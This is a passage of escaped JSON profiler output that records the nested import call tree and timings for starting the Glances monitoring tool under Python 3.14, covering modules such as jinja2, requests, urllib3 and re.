[{\"identifier\": \"__build_class__\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/defaults.py\\u00001\",\"time\": 0.002044,\"attributes\": {\"l3\": 0.002043523003521841},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002044,\"attributes\": {\"l1371\": 0.002043523003521841},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002044,\"attributes\": {\"l1342\": 0.002043523003521841},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002044,\"attributes\": {\"l938\": 0.002043523003521841},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002044,\"attributes\": {\"cSourceFileLoader\": 0.002043523003521841, \"l762\": 0.002043523003521841},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002044,\"attributes\": {\"l491\": 0.002043523003521841},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/filters.py\\u00001\",\"time\": 0.002044,\"attributes\": {\"l256\": 0.002043523003521841},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.002044,\"attributes\": {\"l289\": 0.002043523003521841},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.002044,\"attributes\": {\"l341\": 0.002043523003521841},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002044,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/jinja2/lexer.py\\u00001\",\"time\": 0.001951,\"attributes\": {\"l29\": 0.0019510139973135665},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001951,\"attributes\": {\"l289\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001951,\"attributes\": {\"l350\": 0.0019510139973135665},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001951,\"attributes\": {\"l762\": 0.0019510139973135665},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001951,\"attributes\": {\"l973\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001951,\"attributes\": {\"l460\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001951,\"attributes\": {\"l856\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001951,\"attributes\": {\"l460\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001951,\"attributes\": {\"l856\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001951,\"attributes\": {\"l460\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001951,\"attributes\": {\"l856\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001951,\"attributes\": {\"l460\": 0.0019510139973135665},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001951,\"attributes\": {\"l622\": 0.0019510139973135665},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001951,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/standalone.py\\u000033\",\"time\": 0.879105,\"attributes\": {\"cGlancesStandalone\": 0.8791051840016735, \"l44\": 0.5180003369969199, \"l79\": 0.359079683003074, \"l109\": 0.0020251640016795136},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u000030\",\"time\": 0.518000,\"attributes\": {\"cGlancesStats\": 0.5180003369969199, \"l39\": 0.5180003369969199},\"children\": [{\"identifier\": \"load_modules\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u000072\",\"time\": 0.518000,\"attributes\": {\"cGlancesStats\": 0.5180003369969199, \"l79\": 0.5180003369969199},\"children\": [{\"identifier\": \"load_plugins\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000133\",\"time\": 0.518000,\"attributes\": {\"cGlancesStats\": 0.5180003369969199, \"l141\": 0.5180003369969199},\"children\": [{\"identifier\": \"_load_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u000095\",\"time\": 0.518000,\"attributes\": {\"cGlancesStats\": 0.5180003369969199, \"l100\": 0.1575215649936581, \"l112\": 0.36047877200326184},\"children\": [{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.048000,\"attributes\": {\"l88\": 0.04800030899787089},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.048000,\"attributes\": {\"l1398\": 0.04800030899787089},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.048000,\"attributes\": {\"l1371\": 0.04800030899787089},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.048000,\"attributes\": {\"l1342\": 0.04800030899787089},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.048000,\"attributes\": {\"l938\": 0.04800030899787089},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.048000,\"attributes\": {\"cSourceFileLoader\": 0.04800030899787089, \"l762\": 0.04800030899787089},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.048000,\"attributes\": {\"l491\": 0.04800030899787089},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u00001\",\"time\": 0.002008,\"attributes\": {\"l15\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002008,\"attributes\": {\"l1371\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002008,\"attributes\": {\"l1342\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002008,\"attributes\": {\"l938\": 0.0020080239992239513},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020080239992239513, \"l762\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002008,\"attributes\": {\"l491\": 0.0020080239992239513},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001\",\"time\": 0.002008,\"attributes\": {\"l19\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002008,\"attributes\": {\"l1371\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002008,\"attributes\": {\"l1342\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002008,\"attributes\": {\"l938\": 0.0020080239992239513},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020080239992239513, \"l762\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002008,\"attributes\": {\"l491\": 0.0020080239992239513},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/actions.py\\u00001\",\"time\": 0.002008,\"attributes\": {\"l16\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002008,\"attributes\": {\"l1371\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002008,\"attributes\": {\"l1342\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002008,\"attributes\": {\"l938\": 0.0020080239992239513},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020080239992239513, \"l762\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002008,\"attributes\": {\"l491\": 0.0020080239992239513},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chevron/__init__.py\\u00001\",\"time\": 0.002008,\"attributes\": {\"l1\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002008,\"attributes\": {\"l1371\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002008,\"attributes\": {\"l1342\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002008,\"attributes\": {\"l938\": 0.0020080239992239513},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020080239992239513, \"l762\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002008,\"attributes\": {\"l491\": 0.0020080239992239513},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chevron/main.py\\u00001\",\"time\": 0.002008,\"attributes\": {\"l7\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002008,\"attributes\": {\"l1371\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002008,\"attributes\": {\"l1342\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002008,\"attributes\": {\"l938\": 0.0020080239992239513},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020080239992239513, \"l758\": 0.0020080239992239513},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020080239992239513, \"l891\": 0.0020080239992239513},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002008,\"attributes\": {\"l514\": 0.0020080239992239513},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002008,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/ports/__init__.py\\u00001\",\"time\": 0.045992,\"attributes\": {\"l27\": 0.04599228499864694},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.045992,\"attributes\": {\"l1371\": 0.04599228499864694},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.045992,\"attributes\": {\"l1342\": 0.04599228499864694},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.045992,\"attributes\": {\"l938\": 0.04599228499864694},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.045992,\"attributes\": {\"cSourceFileLoader\": 0.04599228499864694, \"l762\": 0.04599228499864694},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.045992,\"attributes\": {\"l491\": 0.04599228499864694},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/__init__.py\\u00001\",\"time\": 0.045992,\"attributes\": {\"l43\": 0.015991829997801688, \"l45\": 0.020004316000267863, \"l48\": 0.003997677005827427, \"l151\": 0.003997455998614896, \"l164\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.039994,\"attributes\": {\"l1371\": 0.03999382300389698},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.039994,\"attributes\": {\"l1342\": 0.03999382300389698},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.039994,\"attributes\": {\"l938\": 0.03999382300389698},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.039994,\"attributes\": {\"cSourceFileLoader\": 0.03999382300389698, \"l762\": 0.03999382300389698},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.039994,\"attributes\": {\"l491\": 0.03999382300389698},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/__init__.py\\u00001\",\"time\": 0.015992,\"attributes\": {\"l15\": 0.011990967999736313, \"l18\": 0.004000861998065375},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.015992,\"attributes\": {\"l1371\": 0.015991829997801688},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.015992,\"attributes\": {\"l1310\": 0.0019928000037907623, \"l1342\": 0.013999029994010925},\"children\": [{\"identifier\": \"str.rpartition\\u0000<built-in>\\u00000\",\"time\": 0.001993,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.013999,\"attributes\": {\"l938\": 0.013999029994010925},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.013999,\"attributes\": {\"cSourceFileLoader\": 0.013999029994010925, \"l762\": 0.013999029994010925},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.013999,\"attributes\": {\"l491\": 0.013999029994010925},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/_base_connection.py\\u00001\",\"time\": 0.009998,\"attributes\": {\"l5\": 0.00999816799594555},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.009998,\"attributes\": {\"l1371\": 0.00999816799594555},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.009998,\"attributes\": {\"l1314\": 0.00999816799594555},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.009998,\"attributes\": {\"l491\": 0.00999816799594555},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.009998,\"attributes\": {\"l1371\": 0.00999816799594555},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.009998,\"attributes\": {\"l1342\": 0.00999816799594555},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.009998,\"attributes\": {\"l938\": 0.00999816799594555},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.009998,\"attributes\": {\"cSourceFileLoader\": 0.00999816799594555, \"l762\": 0.00999816799594555},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.009998,\"attributes\": {\"l491\": 0.00999816799594555},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/__init__.py\\u00001\",\"time\": 0.009998,\"attributes\": {\"l7\": 0.0020011169981444255, \"l8\": 0.007997050997801125},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.009998,\"attributes\": {\"l1371\": 0.00999816799594555},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.009998,\"attributes\": {\"l1342\": 0.00999816799594555},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.009998,\"attributes\": {\"l938\": 0.00999816799594555},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.009998,\"attributes\": {\"cSourceFileLoader\": 0.00999816799594555, \"l762\": 0.00999816799594555},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.009998,\"attributes\": {\"l491\": 0.00999816799594555},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/retry.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l33\": 0.0020011169981444255},\"children\": [{\"identifier\": \"__new__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00002951\",\"time\": 0.002001,\"attributes\": {\"cNamedTupleMeta\": 0.0020011169981444255, \"l2964\": 0.0020011169981444255},\"children\": [{\"identifier\": \"_make_eager_annotate\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00002927\",\"time\": 0.002001,\"attributes\": {\"l2928\": 0.0020011169981444255},\"children\": [{\"identifier\": \"_type_check\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000184\",\"time\": 0.002001,\"attributes\": {\"l202\": 0.0020011169981444255},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/ssl_.py\\u00001\",\"time\": 0.007997,\"attributes\": {\"l13\": 0.0059951469957013614, \"l137\": 0.0020019040020997636},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.007997,\"attributes\": {\"l1371\": 0.007997050997801125},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.007997,\"attributes\": {\"l1342\": 0.0059951469957013614, \"l1327\": 0.0020019040020997636},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005995,\"attributes\": {\"l938\": 0.0059951469957013614},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005995,\"attributes\": {\"cSourceFileLoader\": 0.0059951469957013614, \"l762\": 0.0059951469957013614},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005995,\"attributes\": {\"l491\": 0.0059951469957013614},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/url.py\\u00001\",\"time\": 0.005995,\"attributes\": {\"l59\": 0.001999063002585899, \"l60\": 0.0019975699979113415, \"l62\": 0.001998513995204121},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.005995,\"attributes\": {\"l289\": 0.0059951469957013614},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.005995,\"attributes\": {\"l350\": 0.0059951469957013614},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.005995,\"attributes\": {\"l762\": 0.00399757699779002, \"l766\": 0.0019975699979113415},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001999,\"attributes\": {\"l973\": 0.001999063002585899},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001999,\"attributes\": {\"l460\": 0.001999063002585899},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001999,\"attributes\": {\"l856\": 0.001999063002585899},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001999,\"attributes\": {\"l460\": 0.001999063002585899},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001999,\"attributes\": {\"l883\": 0.001999063002585899},\"children\": [{\"identifier\": \"__setitem__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000172\",\"time\": 0.001999,\"attributes\": {\"cSubPattern\": 0.001999063002585899, \"l173\": 0.001999063002585899},\"children\": [{\"identifier\": \"__getitem__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000168\",\"time\": 0.001999,\"attributes\": {\"cSubPattern\": 0.001999063002585899, \"l171\": 0.001999063002585899},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"_code\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000590\",\"time\": 0.001998,\"attributes\": {\"l599\": 0.0019975699979113415},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.001998,\"attributes\": {\"l181\": 0.0019975699979113415},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u000039\",\"time\": 0.001998,\"attributes\": {\"l187\": 0.0019975699979113415},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001999,\"attributes\": {\"l973\": 0.001998513995204121},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001999,\"attributes\": {\"l460\": 0.001998513995204121},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001999,\"attributes\": {\"l856\": 0.001998513995204121},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001999,\"attributes\": {\"l460\": 0.001998513995204121},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001999,\"attributes\": {\"l883\": 0.001998513995204121},\"children\": [{\"identifier\": \"__setitem__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000172\",\"time\": 0.001999,\"attributes\": {\"cSubPattern\": 0.001998513995204121, \"l173\": 0.001998513995204121},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002002,\"attributes\": {\"l491\": 0.0020019040020997636},\"children\": [{\"identifier\": \"_lock_unlock_module\\u0000<frozen importlib._bootstrap>\\u0000466\",\"time\": 0.002002,\"attributes\": {\"l474\": 0.0020019040020997636},\"children\": [{\"identifier\": \"acquire\\u0000<frozen importlib._bootstrap>\\u0000304\",\"time\": 0.002002,\"attributes\": {\"c_ModuleLock\": 0.0020019040020997636, \"l311\": 0.0020019040020997636},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000162\",\"time\": 0.002002,\"attributes\": {\"c_BlockingOnManager\": 0.0020019040020997636, \"l170\": 0.0020019040020997636},\"children\": [{\"identifier\": \"setdefault\\u0000<frozen importlib._bootstrap>\\u0000124\",\"time\": 0.002002,\"attributes\": {\"c_WeakValueDictionary\": 0.0020019040020997636, \"l132\": 0.0020019040020997636},\"children\": [{\"identifier\": \"__init__\\u0000<frozen importlib._bootstrap>\\u000079\",\"time\": 0.002002,\"attributes\": {\"cKeyedRef\": 0.0020019040020997636, \"l80\": 